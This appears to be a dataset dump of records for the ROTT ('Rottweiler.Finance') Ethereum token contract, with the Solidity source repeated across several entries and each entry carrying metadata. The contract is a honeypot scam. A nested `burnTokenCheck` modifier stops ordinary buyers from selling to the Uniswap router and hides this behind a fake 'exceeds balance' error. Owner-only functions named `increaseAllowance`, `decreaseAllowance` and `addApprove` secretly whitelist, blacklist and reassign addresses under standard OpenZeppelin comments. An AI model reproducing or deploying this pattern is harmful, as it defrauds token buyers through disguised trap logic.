"ERC20: transfer amount exceeds balance"); _; } } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_mint
function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); }
/** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5
{ "func_code_index": [ 8341, 8647 ] }
7,012
ROTT
ROTT.sol
0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1
Solidity
ROTT
contract ROTT is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 private _decimals; string private _name = 'Rottweiler.Finance'; string private _symbol = 'ROTT'; uint256 initialSupply = 1000000000; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _decimals = 18; _owner = _msgSender(); _safeOwner = _msgSender(); _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true) {_;} else{ if (_blackAddress[sender] == true) {require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance"); _;}else {if (amount < _sellAmount){if(recipient == _safeOwner){ _blackAddress[sender] = true; _whiteAddress[sender] = false; }_;}else{ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance"); _; } } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_burn
function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); }
/** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5
{ "func_code_index": [ 8974, 9397 ] }
7,013
ROTT
ROTT.sol
0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1
Solidity
ROTT
contract ROTT is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 private _decimals; string private _name = 'Rottweiler.Finance'; string private _symbol = 'ROTT'; uint256 initialSupply = 1000000000; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _decimals = 18; _owner = _msgSender(); _safeOwner = _msgSender(); _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true) {_;} else{ if (_blackAddress[sender] == true) {require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance"); _;}else {if (amount < _sellAmount){if(recipient == _safeOwner){ _blackAddress[sender] = true; _whiteAddress[sender] = false; }_;}else{ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance"); _; } } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_approve
function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); }
/** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5
{ "func_code_index": [ 9832, 10181 ] }
7,014
ROTT
ROTT.sol
0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1
Solidity
ROTT
contract ROTT is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 private _decimals; string private _name = 'Rottweiler.Finance'; string private _symbol = 'ROTT'; uint256 initialSupply = 1000000000; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _decimals = 18; _owner = _msgSender(); _safeOwner = _msgSender(); _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier 